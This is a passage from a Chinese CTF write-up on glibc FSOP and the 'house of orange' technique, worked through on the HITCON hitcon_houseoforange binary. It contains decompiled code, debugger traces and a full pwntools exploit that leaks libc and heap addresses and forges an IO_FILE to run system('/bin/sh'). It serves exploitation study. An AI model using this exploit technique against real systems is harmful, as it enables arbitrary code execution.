(victim->size > av->system_mem, 0))3481             malloc_printerr (check_action, "malloc(): memory corruption",   3482                              chunk2mem (victim), av);   3483           size = chunksize (victim);   3484   3485           /*   3486              If a small request, try to use last remainder if it is the──────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────00:0000│ rsp  0x7fffffffdb60 ◂— 0x7fff0000000201:0008│      0x7fffffffdb68 ◂— 0xa /* '\n' */02:00100x7fffffffdb70 —▸ 0x7fffffffdbe0 ◂— 0x003:00180x7fffffffdb78 —▸ 0x7ffff7b5048b (_dl_addr+443) ◂— add    rsp, 0x2804:00200x7fffffffdb80 ◂— 0x005:00280x7fffffffdb88 —▸ 0x7fffffffdbe8 —▸ 0x7ffff7fd9000 —▸ 0x7ffff7a0d000 ◂— jg     0x7ffff7a0d04706:00300x7fffffffdb90 ◂— 0xffff800000002421 /* '!$' */07:00380x7fffffffdb98 —▸ 0x7fffffffdbdf ◂— 0x0────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────── ► f 0     7ffff7a8ef60 _int_malloc+976   f 1     7ffff7a911d4 malloc+84   f 2           4006cc main+246   f 3     7ffff7a2d840 __libc_start_main+240──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────pwndbg> x/4gx (char*)&main_arena+88    # 打印main_arena+88的情况,查看victim0x7ffff7dd1b78 <main_arena+88>:    0x0000000000624010    0x00000000000000000x7ffff7dd1b88 <main_arena+104>:    0x0000000000602400    0x00007ffff7dd2510  <-- 0x00007ffff7dd2510就是victim# unsortedbin attack的时候将_IO_list_all-0x10给了unsortedbin->bk,所以victim就是_IO_list_all-0x10pwndbg> x/4gx (char*)&_IO_list_all-0x10 0x7ffff7dd2510:    0x0000000000000000    0x0000000000000000 # victim的size为0,触发异常0x7ffff7dd2520 <_IO_list_all>:    0x00007ffff7dd1b78    0x0000000000000000

victim的size为0,不满足要求,触发异常,调用malloc_printerr (check_action, "malloc(): memory corruption", chunk2mem (victim), av);, 从而调用_IO_flush_all_lockp,进而fsop攻击成功。

3.2 ctf实例 - house of orange

[email protected]:~/pwn/heap/IO_FILE/house_of_orange$ checksec hitcon_houseoforange[*] '/home/lzx/pwn/heap/IO_FILE/house_of_orange/hitcon_houseoforange'    Arch:     amd64-64-little    RELRO:    Full RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled    FORTIFY:  Enabled[email protected]:~/pwn/heap/IO_FILE/house_of_orange$ ./hitcon_houseoforange+++++++++++++++++++++++++++++++++++++@          House of Orange          @+++++++++++++++++++++++++++++++++++++ 1. Build the house                  2. See the house                    3. Upgrade the house                4. Give up                         +++++++++++++++++++++++++++++++++++++Your choice :

ida分析

main

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3){  signed int v3; // eax   sub_1218();  while ( 1 )  {    while ( 1 )    {      menu();      v3 = input_number();      if ( v3 != 2 )        break;      see_house();                              // 2 - see the house    }    if ( v3 > 2 )    {      if ( v3 == 3 )      {        upgrade_house();                        // 3 - upgrade the house      }      else      {        if ( v3 == 4 )        {          puts("give up");                      // 4 - exit          exit(0);        }LABEL_14:        puts("Invalid choice");      }    }    else    {      if ( v3 != 1 )        goto LABEL_14;      build_house();                            // 1 - build the house    }  }}

input_number

__int64 input_number(){  char nptr; // [rsp+10h] [rbp-20h]  unsigned __int64 v2; // [rsp+28h] [rbp-8h]   v2 = __readfsqword(0x28u);  _read_chk(0LL, &nptr, 15LL, 16LL);  return (unsigned int)atoi(&nptr);             // 返回一个unsigned int}

build_house:build一个house,会创建三个chunk。

最多能build4个house;

每个house包含一个orange和一个name;

每个orange包含price和color;

创建chunk的顺序:house、house_name、orange。

int sub_D37(){  unsigned int house_name_len; // [rsp+8h] [rbp-18h]  signed int color_of_orange; // [rsp+Ch] [rbp-14h]  void *house; // [rsp+10h] [rbp-10h]  _DWORD *orange; // [rsp+18h] [rbp-8h]   if ( house_cnt > 3u )                         // 只能 build 4次  {    puts("Too many house");    exit(1);  }  house = malloc(0x10uLL);                      // 0x20大小的house chunk  printf("Length of name :");  house_name_len = input_number();  if ( house_name_len > 0x1000 )    house_name_len = 4096;  *((_QWORD *)house + 1) = malloc(house_name_len);// house[1]存储house_name_chunk  if ( !*((_QWORD *)house + 1) )  {    puts("Malloc error !!!");    exit(1);  }  printf("Name :");  input_string(*((void **)house + 1), house_name_len);// 往house_name_chunk输入house name  orange = calloc(1uLL, 8uLL);  printf("Price of Orange:", 8LL);  *orange = input_number();                     // orange[0]存储price  color_menu();  printf("Color of Orange:");  color_of_orange = input_number();  if ( color_of_orange != 56746 && (color_of_orange <= 0 || color_of_orange > 7) )  {    puts("No such color");    exit(1);  }  if ( color_of_orange == 56746 )               // orange[1]存储56746/color+30    orange[1] = 56746;  else    orange[1] = color_of_orange + 30;  *(_QWORD *)house = orange;                    // house[0]存储orange_chunk  global_house = house;                         // 全局变量global_house存储的是最新的house chunk  ++house_cnt;                                  // 计数加1  return puts("Finish");}

input_string

ssize_t __fastcall input_string(void *a1, unsigned int a2){  ssize_t result; // rax   result = read(0, a1, a2);                     // 没有NULL结尾处理,可能存在信息泄露漏洞!!!  if ( (signed int)result <= 0 )  {    puts("read error");    exit(1);  }  return result;}

see_house:打印house的信息。

打印house name
打印 orange price
打印橘子

int see_house(){  int v0; // eax  int result; // eax  int v2; // eax   if ( !global_house )    return puts("No such house !");  if ( *(_DWORD *)(*global_house + 4LL) == 56746 )  {    printf("Name of house : %s\n", global_house[1]);    printf("Price of orange : %d\n", *(unsigned int *)*global_house);    v0 = rand();    result = printf("\x1B[01;38;5;214m%s\x1B[0m\n", qword_203080[v0 % 8]);  }  else  {    if ( *(_DWORD *)(*global_house + 4LL) <= 30 || *(_DWORD *)(*global_house + 4LL) > 37 )    {      puts("Color corruption!");      exit(1);    }    printf("Name of house : %s\n", global_house[1]);    printf("Price of orange : %d\n", *(unsigned int *)*global_house);    v2 = rand();    result = printf("\x1B[%dm%s\x1B[0m\n", *(unsigned int *)(*global_house + 4LL), qword_203080[v2 % 8]);  }  return result;}

upgrade_house:更新house的信息

可以更新house name
可以更新orange 的price和color
最多只能更新3次

int upgrade_house(){  _DWORD *v1; // rbx  unsigned int v2; // [rsp+8h] [rbp-18h]  signed int v3; // [rsp+Ch] [rbp-14h]   if ( upgrade_cnt > 2u )                       // 最多只能更新3次    return puts("You can't upgrade more");  if ( !global_house )    return puts("No such house !");  printf("Length of name :");  v2 = input_number();  if ( v2 > 0x1000 )    v2 = 4096;  printf("Name:");  input_string((void *)global_house[1], v2);    // 直接在原house_name_chunk上输入数据,且长度没有限制,存在堆溢出漏洞  printf("Price of Orange: ", v2);  v1 = (_DWORD *)*global_house;  *v1 = input_number();                         // 修改orange的price  color_menu();  printf("Color of Orange: ");  v3 = input_number();  if ( v3 != 56746 && (v3 <= 0 || v3 > 7) )  {    puts("No such color");    exit(1);  }  if ( v3 == 56746 )                            // 修改orange的color    *(_DWORD *)(*global_house + 4LL) = 56746;  else    *(_DWORD *)(*global_house + 4LL) = v3 + 30;  ++upgrade_cnt;                                // 更新次数+1  return puts("Finish");}

漏洞

input_string函数中存在信息泄露漏洞:

创建chunk的顺序:house、house_name、orange;

因为input_string是用在house_name_chunk上的,所以调用see_house函数的时候可以泄露出name后面的内容。

upgrade_house函数中存在堆溢出漏洞:

同样,是在输入house_name的时候存在溢出漏洞,所以可以溢出修改house_name_chunk后面的数据。

思路

没有free。

存在任意长度的堆溢出,能泄露chunk的内容。

观察一下house of orange的利用条件:

堆溢出漏洞

能修改top chunk的size(满足)。

分配的chunk大小小于0x20000,大于top chunk的size;

top chunk大小大于MINSIZE;

top chunk的inuse等于1;

top chunk的大小要对齐到内存页。

能修改bk ->unsortedbin attack -> 任意地址写 -> 修改IO_list_all的内容(满足)。

能在top chunk伪造IO_FILE和vtable(满足)。

能泄露chunk的内容 -> 泄露libc某个地址 -> 泄露出_IO_list_all的地址(满足)

能泄露哪里的内容?

name字符串后面的内容。

name后面是否可能有libc中某个地址?

当从unsortedbin里的old top chunk切割一个fastbin/smallbin大小的chunk给name的时候,name的fd/bk指向unsortedbin(main_arena+88)。

当从unsortedbin里的old top chunk切割一个largebin大小的chunk给name的时候,name的fd/bk指向largebin头,fd_nextsize/bk_nextsize指向name本身。

调试分析

泄露_IO_list_all的地址

1.溢出修改top chunk的size

# overwrite the size of topbuild(0x10,b'a'*8) # house_chunk, name_chunk,orange_chunk#dbg()payload = b'b'*0x10   # content(name_chunk): 0x10payload += p64(0) + p64(0x21) + p32(0xdeadbeef) + p32(0xddaa) + p64(0)  # content(name_chunk) + orange_chunk: 0x10+0x20 = 0x30payload += p64(0) + p64(0xfa1) # content(name_chunk) + orange_chunk + head(topchunk) 0x10+0x20+0x10 = 0x40upgrade(0x41,payload)dbg()
pwndbg> heapAllocated chunk | PREV_INUSE    # house1Addr: 0x5615bc55b000Size: 0x21 Allocated chunk | PREV_INUSE    # name1Addr: 0x5615bc55b020Size: 0x21 Allocated chunk | PREV_INUSE    # orange1Addr: 0x5615bc55b040Size: 0x21 Top chunk | PREV_INUSE          # old top chunkAddr: 0x5615bc55b060Size: 0xfa1 pwndbg> x/20gx 0x5615bc55b0000x5615bc55b000:    0x0000000000000000    0x00000000000000210x5615bc55b010:    0x00005615bc55b050    0x00005615bc55b0300x5615bc55b020:    0x0000000000000000    0x00000000000000210x5615bc55b030:    0x6262626262626262    0x62626262626262620x5615bc55b040:    0x0000000000000000    0x00000000000000210x5615bc55b050:    0x0000ddaadeadbeef    0x00000000000000000x5615bc55b060:    0x0000000000000000    0x0000000000000fa1   <-- top chunk的size被修改0x5615bc55b070:    0x000000000000000a    0x00000000000000000x5615bc55b080:    0x0000000000000000    0x00000000000000000x5615bc55b090:    0x0000000000000000    0x0000000000000000

2.malloc一个更大的name chunk时,将top chunk释放到unsortedbin中

build(0x1000,b'c'*8) # trigger the _int_free in sysmalloc, old top chunk -> unsortedbin
pwndbg> heapAllocated chunk | PREV_INUSE    # house1Addr: 0x5606daf31000Size: 0x21 Allocated chunk | PREV_INUSE    # name1Addr: 0x5606daf31020Size: 0x21 Allocated chunk | PREV_INUSE    # orange1Addr: 0x5606daf31040Size: 0x21 Allocated chunk | PREV_INUSE    # house2Addr: 0x5606daf31060Size: 0x21 Allocated chunk | PREV_INUSE    # orange2Addr: 0x5606daf31080Size: 0x21 Free chunk (unsortedbin) | PREV_INUSE          # old top chunkAddr: 0x5606daf310a0Size: 0xf41fd: 0x7f41332deb78bk: 0x7f41332deb78 Allocated chunkAddr: 0x5606daf31fe0Size: 0x10 Allocated chunk | PREV_INUSEAddr: 0x5606daf31ff0Size: 0x11 Allocated chunkAddr: 0x5606daf32000Size: 0x00 pwndbg> x/12gx 0x5606daf310600x5606daf31060:    0x0000000000000000    0x0000000000000021   # house20x5606daf31070:    0x00005606daf31090    0x00005606daf52010   # house2里存储着orange2和name2的mem指针0x5606daf31080:    0x0000000000000000    0x0000000000000021   # orange20x5606daf31090:    0x0000ddaadeadbeef    0x00000000000000000x5606daf310a0:    0x0000000000000000    0x0000000000000f41   # old top chunk0x5606daf310b0:    0x00007f41332deb78    0x00007f41332deb78 pwndbg> x/4gx 0x5606daf31000+0x210000x5606daf52000:    0x0000000000000000    0x0000000000001011   # name20x5606daf52010:    0x6363636363636363    0x000000000000000a

总结一下此时heap的变化:

// 溢出修改topchunk的size之后heap的情况| house1 |name1 |orange1 | ...........................old top chunk...........................| .. | // build(0x1000,b'c'*8) - 分配house2| house1 |name1 |orange1 | house2 |...................old top chunk...........................| .. | // build(0x1000,b'c'*8) - 分配name2| house1 |name1 |orange1 | house2 |...................old top chunk (free)....................| .. | name2 |new top chunk| // build(0x1000,b'c'*8) - 分配orange2(由于old top chunk进入unosrtedbin,所以后面分配堆块都从old top chunk切割)| house1 |name1 |orange1 | house2 | orange2 |.........old top chunk (free)....................| .. | name2 |new top chunk| // 此时old top chunk的fd和bk是 main_arena+88,fd被覆盖成了price和color的值// 这样是无法泄露main_arena的,所以需要继续切割old top chunk

3.再build一个house,泄露出_IO_list_all的地址:

先malloc一个house_chunk(固定为0x20大小),先unlink old_top_chunk(很大,属于largebin),其fd和bk为unsortedbin的地址,然后切割一部分出来给用户。但是fd和bk后来会被覆盖为orange和name的地址;

接着malloc一个name_chunk,同样先unlink old_top_chunk(很大,属于largebin),其fd和bk为对应largebin的地址,fd_nexesize和bk_nexesize指向old_top_chunk,然后切割一部分出来给用户。如果name_chunk足够大,输入的name字符串足够小,那么切割以后就会保留bk、fd_nextsize和bk_nextsize。

如果输入name字符串的时候为8个字节(包括回车符),那么在打印name的时候,就可以把此largebin链表头的地址给泄露出来,从而可计算得到libc基址,进而得到_IO_list_all/system等的地址。

build(0x400,b'd'*7) # leak the address io_list_all (0x400 -> largebin chunk -> leak fd_nextsize later)see()ru('ddddddd\n')libc_addr = u64(r(6).ljust(8,"\x00")) - 0x3c5188libc.address = libc_addrio_list_all_addr = libc.sym['_IO_list_all']system_addr = libc.sym['system']leak('addr(_IO_list_all)',io_list_all_addr)leak('addr(libc_base)',libc_addr)leak('addr(system)',system_addr)dbg()

当分配name3的时候,若申请的大小为largebin范围,由于old top chunk属于largebin范围,所以会先将其插入到largebin中,如下代码所示:

victim(old top chunk)的fd_nextsize和bk_nextsize指向本身(切割后要变成name3);
victim(old top chunk)的fd和bk指向此largebin链表头;
下面这段代码结束以后,会从largebin将victim(old top chunk)unlink下来,并切割,但是不会再对切割下来的name3的fd/bk/fd_nextsize/bk_nextsize再做操作了,所以只要输入的name字符串够短,就会保留bk/fd_nexesize和bk_nextsize,然后在后面泄露出来。
for (;; )  {    int iters = 0;    while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))  // victim 是 old top chunk      {        bck = victim->bk;        if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)            || __builtin_expect (victim->size > av->system_mem, 0))          malloc_printerr (check_action, "malloc(): memory corruption",                           chunk2mem (victim), av);        size = chunksize (victim);          // 当分配house3(0x20)的时候,会进入这里        if (in_smallbin_range (nb) && // 如果要申请的chunk的size在smallbin范围内            bck == unsorted_chunks (av) && // 而且bck指向main_arena+96那个“chunk”,也就是如果unsortedbin中只有一个free chunk            victim == av->last_remainder && // 而且如果victim指向last_remainder            (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) // 而且如果victim大小满足要申请的chunk的大小          {            /* split and reattach remainder */            remainder_size = size - nb;            remainder = chunk_at_offset (victim, nb); // 切割剩下的remainder            unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;            av->last_remainder = remainder;            remainder->bk = remainder->fd = unsorted_chunks (av);            if (!in_smallbin_range (remainder_size))              {                remainder->fd_nextsize = NULL;                remainder->bk_nextsize = NULL;              }             set_head (victim, nb | PREV_INUSE |                      (av != &main_arena ? NON_MAIN_ARENA : 0));            set_head (remainder, remainder_size | PREV_INUSE);            set_foot (remainder, remainder_size);             check_malloced_chunk (av, victim, nb);            void *p = chunk2mem (victim);            alloc_perturb (p, bytes);            return p;          }         /* remove from unsorted list */        unsorted_chunks (av)->bk = bck;        bck->fd = unsorted_chunks (av);         /* Take now instead of binning if exact fit */         if (size == nb)          {            ......          }         /* place chunk in bin */         if (in_smallbin_range (size))  // 如果victim是smallbin范围大小,将victim插入smallbin          {            ......          }        else   // 如果victim是largebin范围大小,将victim插入largebin,走这里          {            victim_index = largebin_index (size);            bck = bin_at (av, victim_index); // bck指向0x400对应的largebin            fwd = bck->fd; // 因为该bin之前没有chunk,所以fwd也指向0x400对应的largebin             /* maintain large bins in sorted order */            if (fwd != bck) // 如果此largbin不为空,明显不是,不进去              {                ......              }            else  // 如果此largebin为空,将victim插入 fd_nextsize/bk_nextsize链表              victim->fd_nextsize = victim->bk_nextsize = victim;          }         mark_bin (av, victim_index);        victim->bk = bck; // 将victim插入fd/bk链表,其fd/bk均指向largebin链表头        victim->fd = fwd;        fwd->bk = victim;        bck->fd = victim;

由上面的分析可知,当要分配的chunk属于smallbin大小范围(包括fastbin和smallbin)的时候,走完if (in_smallbin_range (nb) &&...这个判断的时候,就会切割old top chunk并返回给用户,name3不会有指向自身fd_nextsize/bk_nextsize。所以需要name3申请的大小为largebin大小。

当分配name3的时候,单步调试上面代码,走到bck->fd = victim;的时候看一下各变量的值:

pwndbg> p/x victim->fd   # victim->fd/bk的值是对应largebin链表头的地址$7 = 0x7f3b4b787188pwndbg> x/gx victim->fd0x7f3b4b787188 <main_arena+1640>:    0x00007f3b4b787178  pwndbg> x/gx victim->bk0x7f3b4b787188 <main_arena+1640>:    0x00007f3b4b787178 pwndbg> p/x victim->fd_nextsize  # victim->fd_nextsize/bk_nextsize的值是原old_top_chunk(即name3)的地址$8 = 0x561a3863d0c0pwndbg> p/x victim->bk_nextsize$9 = 0x561a3863d0c0pwndbg> x/gx victim->fd_nextsize0x561a3863d0c0:    0x0000000000000000pwndbg> x/gx victim->bk_nextsize0x561a3863d0c0:    0x0000000000000000 pwndbg> heapAllocated chunk | PREV_INUSEAddr: 0x561a3863d000Size: 0x21 Allocated chunk | PREV_INUSEAddr: 0x561a3863d020Size: 0x21 Allocated chunk | PREV_INUSEAddr: 0x561a3863d040Size: 0x21 Allocated chunk | PREV_INUSEAddr: 0x561a3863d060Size: 0x21 Allocated chunk | PREV_INUSEAddr: 0x561a3863d080Size: 0x21 Allocated chunk | PREV_INUSEAddr: 0x561a3863d0a0Size: 0x21 Allocated chunk | PREV_INUSEAddr: 0x561a3863d0c0    # old_top_chunk地址,后面切割后变成name3的地址Size: 0xf21 Allocated chunkAddr: 0x561a3863dfe0Size: 0x10 Allocated chunk | PREV_INUSEAddr: 0x561a3863dff0Size: 0x11 Allocated chunkAddr: 0x561a3863e000Size: 0x00 pwndbg> vmmap   # 看一下libc基址LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA    0x561a37161000     0x561a37164000 r-xp     3000 0      /home/lzx/pwn/heap/IO_FILE/house_of_orange/hitcon_houseoforange    0x561a37363000     0x561a37364000 r--p     1000 2000   /home/lzx/pwn/heap/IO_FILE/house_of_orange/hitcon_houseoforange    0x561a37364000     0x561a37365000 rw-p     1000 3000   /home/lzx/pwn/heap/IO_FILE/house_of_orange/hitcon_houseoforange    0x561a3863d000     0x561a38680000 rw-p    43000 0      [heap]    0x7f3b4b3c2000     0x7f3b4b582000 r-xp   1c0000 0      /lib/x86_64-linux-gnu/libc-2.23.so   # libc基址    0x7f3b4b582000     0x7f3b4b782000 ---p   200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so    0x7f3b4b782000     0x7f3b4b786000 r--p     4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so    0x7f3b4b786000     0x7f3b4b788000 rw-p     2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so    0x7f3b4b788000     0x7f3b4b78c000 rw-p     4000 0         0x7f3b4b78c000     0x7f3b4b7b2000 r-xp    26000 0      /lib/x86_64-linux-gnu/ld-2.23.so    0x7f3b4b991000     0x7f3b4b994000 rw-p     3000 0         0x7f3b4b9b1000     0x7f3b4b9b2000 r--p     1000 25000  /lib/x86_64-linux-gnu/ld-2.23.so    0x7f3b4b9b2000     0x7f3b4b9b3000 rw-p     1000 26000  /lib/x86_64-linux-gnu/ld-2.23.so    0x7f3b4b9b3000     0x7f3b4b9b4000 rw-p     1000 0         0x7ffe4dcf5000     0x7ffe4dd16000 rw-p    21000 0      [stack]    0x7ffe4dded000     0x7ffe4ddf0000 r--p     3000 0      [vvar]    0x7ffe4ddf0000     0x7ffe4ddf2000 r-xp     2000 0      [vdso]0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall] pwndbg> p/x 0x7f3b4b787188-0x7f3b4b3c2000  # 计算largebin链表头和libc基址之间的偏移$10 = 0x3c5188

再总结一下此时heap的变化:

......// build(0x1000,b'c'*8) - 分配orange2(由于old top chunk进入unosrtedbin,所以后面分配堆块都从old top chunk切割)| house1 |name1 |orange1 | house2 | orange2 |.........old top chunk (free)....................| .. | name2 |new top chunk| // build(0x400,b'd'*7) - 切割old top chunk,分配house3| house1 |name1 |orange1 | house2 | orange2 | house3 | .......old top chunk (free)............| .. | name2 |new top chunk|                                                                                        ----------                                                                                  fd和bk被覆盖为orange3和name3的地址 // build(0x400,b'd'*7) - 切割old top chunk,分配name3| house1 |name1 |orange1 | house2 | orange2 | house3 | name3 | ......... old top chunk (free) | .. | name2 |new top chunk|                                                                                                ----------                                                        fd被覆盖为ddddddd\n,bk还是largebin的地址,fd_nextsize和bk_nextsize是name3的地址 // build(0x400,b'd'*7) - 切割old top chunk,分配orange3| house1 |name1 |orange1 | house2 | orange2 | house3 | name3 | orange3 | old top chunk (free) | .. | name2 |new top chunk|

泄露heap地址

由于fd_nextsize保留下来了,所以利用upgrade输入0x10个字符,并调用see,也就可以泄露出name3的地址,从而计算heap的地址。为后面修改vtable作准备。

upgrade(0x10,b'e'*0xf) # leak heap addrsee()ru('e'*0xf+'\n')heap_addr = u64(r(6).ljust(8,"\x00")) - (0x20*6) # house1,name1,orange1,house2,orange2,house3# 计算&top[12]:前面有house1,name1,orange1,house2,orange2,house3,name3,orange3,top的前面12个8字节fake_vtable_addr = heap_addr + (0x20*6) + 0x410 + 0x20 + 0x8*12leak('addr(heap)',heap_addr)leak('addr(vtable)', fake_vtable_addr)dbg()
pwndbg> heapAllocated chunk | PREV_INUSEAddr: 0x557e5f77b000Size: 0x21 Allocated chunk | PREV_INUSEAddr: 0x557e5f77b020Size: 0x21 Allocated chunk | PREV_INUSEAddr: 0x557e5f77b040Size: 0x21 Allocated chunk | PREV_INUSEAddr: 0x557e5f77b060Size: 0x21 Allocated chunk | PREV_INUSEAddr: 0x557e5f77b080Size: 0x21 Allocated chunk | PREV_INUSEAddr: 0x557e5f77b0a0Size: 0x21 Allocated chunk | PREV_INUSE   # name3Addr: 0x557e5f77b0c0Size: 0x411 Allocated chunk | PREV_INUSEAddr: 0x557e5f77b4d0Size: 0x21 Free chunk (unsortedbin) | PREV_INUSEAddr: 0x557e5f77b4f0Size: 0xaf1fd: 0x7f3e2dba5b78bk: 0x7f3e2dba5b78 Allocated chunkAddr: 0x557e5f77bfe0Size: 0x10 Allocated chunk | PREV_INUSEAddr: 0x557e5f77bff0Size: 0x11 Allocated chunkAddr: 0x557e5f77c000Size: 0x00 pwndbg> x/8gx 0x557e5f77b0c00x557e5f77b0c0:    0x0000000000000000    0x00000000000004110x557e5f77b0d0:    0x6565656565656565    0x0a656565656565650x557e5f77b0e0:    0x0000557e5f77b0c0    #可以泄露出该地址   0x0000557e5f77b0c00x557e5f77b0f0:    0x0000000000000000    0x0000000000000000

unsortedbin attack和fsop

# unsortedbin attack and fsop        payload = b'f'*0x400 # name3payload += p64(0) + p64(0x21) + 2*p64(1) # orange3 fake_file = IO_FILE_plus()fake_file._flags = 0x0068732f6e69622f # /bin/shfake_file._IO_read_ptr = 0x61  # overwrite old_top_chunk's sizefake_file._IO_read_base = io_list_all_addr-0x10  # overwrite old_top_chunk's bk (for unsortedbin attack)fake_file._IO_write_base = 0fake_file._IO_write_ptr = 1fake_file._mode = 0fake_file._old_offset = system_addrfake_file.vtable = fake_vtable_addr # &old_top_chunk[12]fake_file.show()payload += str(fake_file)upgrade(0x1000,payload)  # 这个数值只要够大就行dbg()command(1)
IO_FILE_plus struct:{    _flags: 0x68732f6e69622f  // /bin/sh    _IO_read_ptr: 0x61        // overwrite old_top_chunk's size    _IO_read_end: 0x0    _IO_read_base: 0x7fde9e8af510  // 篡改bk,unsortedbin attack    _IO_write_base: 0x0      // 0    _IO_write_ptr: 0x1       // 1    _IO_write_end: 0x0    _IO_buf_base: 0x0    _IO_buf_end: 0x0    _IO_save_base: 0x0    _IO_backup_base: 0x0    _IO_save_end: 0x0    _markers: 0x0         // fake_vtable    _chain: 0x0    _fileno: 0x0    _flags2: 0x0    _old_offset: 0x7fde9e52f3a0   // 将fake_vtable的__overflow篡改为system地址    _cur_column: 0x0    _vtable_offset: 0x0    _shortbuf: 0x0    _lock: 0x0    _offset: 0x0    _codecvt: 0x0    _wide_data: 0x0    _freeres_list: 0x0    _freeres_buf: 0x0    __pad5: 0x0    _mode: 0x0       // 0    _unused2: 0x0    vtable: 0x55f8c948f550   // 指向top[12],即_markers的地址}

exp

from pwn import  *from LibcSearcher import LibcSearcherfrom sys import argvfrom pwn_debug import * context(log_level='debug',arch='amd64')#,terminal=['tmux','sp','-h']) def ret2libc(leak, func, path=''):    if path == '':        libc = LibcSearcher(func, leak)        base = leak - libc.dump(func)        system = base + libc.dump('system')        binsh = base + libc.dump('str_bin_sh')    else:        libc = ELF(path)        base = leak - libc.sym[func]        system = base + libc.sym['system']        binsh = base + libc.search('/bin/sh').next()     return (system, binsh) s       = lambda data               :p.send(str(data))sa      = lambda delim,data         :p.sendafter(str(delim), str(data))sl      = lambda data               :p.sendline(str(data))sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))r       = lambda num=4096           :p.recv(num)ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)itr     = lambda                    :p.interactive()uu32    = lambda data               :u32(data.ljust(4,'\0'))uu64    = lambda data               :u64(data.ljust(8,'\0'))leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr)) p = process("./hitcon_houseoforange")#p = remote("node4.buuoj.cn",29535)libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")#libc = ELF('./libc-2.23.so')elf = ELF("./hitcon_houseoforange") def dbg():    gdb.attach(p)    pause() def command(id):    ru("Your choice : ")    sl(str(id)) def build(name_len,name,price=0xdeadbeef,color=0xddaa): # 56746 = 0xddaa    command(1)    ru("Length of name :")    sl(str(name_len))    ru("Name :")    sl(name)    ru("Price of Orange:")    sl(str(price))    ru("Color of Orange:")    sl(str(color)) def see():    command(2) def upgrade(name_len,name,price=0xdeadbeef,color=0xddaa):    command(3)    ru("Length of name :")    sl(str(name_len))    ru("Name:")    sl(name)    ru("Price of Orange: ")    sl(str(price))    ru("Color of Orange: ")    sl(str(color)) '''step1: leak address of _IO_list_all and heap''' # overwrite the size of topbuild(0x10,b'a'*8) # house_chunk, name_chunk,orange_chunk#dbg()payload = b'b'*0x10   # content(name_chunk): 0x10payload += p64(0) + p64(0x21) + p32(0xdeadbeef) + p32(0xddaa) + p64(0)  # content(name_chunk) + orange_chunk: 0x10+0x20 = 0x30payload += p64(0) + p64(0xfa1) # content(name_chunk) + orange_chunk + head(topchunk) 0x10+0x20+0x10 = 0x40upgrade(0x41,payload)#dbg() build(0x1000,b'c'*8) # trigger the _int_free in sysmalloc, old top chunk -> unsortedbin#dbg()build(0x400,b'd'*7) # leak the address io_list_all (0x400 -> largebin chunk -> leak fd_nextsize later)see()ru('ddddddd\n')libc_addr = u64(r(6).ljust(8,"\x00")) - 0x3c5188libc.address = libc_addrio_list_all_addr = libc.sym['_IO_list_all']system_addr = libc.sym['system']leak('addr(_IO_list_all)',io_list_all_addr)leak('addr(libc_base)',libc_addr)leak('addr(system)',system_addr)#dbg() upgrade(0x10,b'e'*0xf) # leak heap addrsee()ru('e'*0xf+'\n')heap_addr = u64(r(6).ljust(8,"\x00")) - (0x20*6) # house1,name1,orange1,house2,orange2,house3fake_vtable_addr = heap_addr + (0x20*6) + 0x410 + 0x20 + 0x8*12leak('addr(heap)',heap_addr)leak('addr(vtable)', fake_vtable_addr) #dbg() ''' step2:unsortedbin attack and fsop '''    payload = b'f'*0x400 # name3payload += p64(0) + p64(0x21) + 2*p64(1) # orange3 fake_file = IO_FILE_plus()fake_file._flags = 0x0068732f6e69622f # /bin/shfake_file._IO_read_ptr = 0x61  # overwrite old_top_chunk's sizefake_file._IO_read_base = io_list_all_addr-0x10  # overwrite old_top_chunk's bk (for unsortedbin attack)fake_file._IO_write_base = 0fake_file._IO_write_ptr = 1fake_file._mode = 0fake_file._old_offset = libc.sym["system"]fake_file.vtable = fake_vtable_addr # &old_top_chunk[12]fake_file.show()payload += str(fake_file)upgrade(0x1000,payload)#dbg()command(1)  # 触发攻击itr()

参考文献

IO_FILE 与高版本 glibc 中的漏洞利用技巧

https://evilpan.com/2022/07/30/glibc-exp-tricks/

ctf-wiki-伪造 vtable 劫持程序流程

https://ctf-wiki.org/pwn/linux/user-mode/io-file/fake-vtable-exploit/

ctf-wiki-FSOP

https://ctf-wiki.org/pwn/linux/user-mode/io-file/fsop/

glibc 2.24 下 IO_FILE 的利用

https://ctf-wiki.org/pwn/linux/user-mode/io-file/exploit-in-libc2.24/

IO学习记录

https://chenqiw9.github.io/2021/04/13/IO%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/

IO FILE之fopen详解

https://ray-cp.github.io/archivers/IO_FILE_fopen_analysis

IO FILE之fread详解

https://ray-cp.github.io/archivers/IO_FILE_fread_analysis

IO FILE之fwrite详解

https://www.tttang.com/archive/1279/

IO FILE之fclose详解

https://ray-cp.github.io/archivers/IO_FILE_fclose_analysis

IO FILE之劫持vtable及FSOP

https://ray-cp.github.io/archivers/IO_FILE_vtable_hajack_and_fsop

IO FILE 之vtable劫持以及绕过

https://ray-cp.github.io/archivers/IO_FILE_vtable_check_and_bypass

ctf-wiki-house_of_orange

https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/house-of-orange/

IO_FILE相关利用

https://la13x.github.io/2021/07/27/IO-FILE/#ciscn-2019-n-7

零基础要如何破除 IO_FILE 利用原理的迷雾

https://tttang.com/archive/1742/#toc_

看雪ID:ztree

https://bbs.pediy.com/user-home-830671.htm

*本文由看雪论坛 ztree 原创,转载请注明来自看雪社区

峰会回顾:https://mp.weixin.qq.com/s/eEbc8k8H9Pc2K0d_AHG3BA

# 往期推荐

1.CVE-2022-21882提权漏洞学习笔记

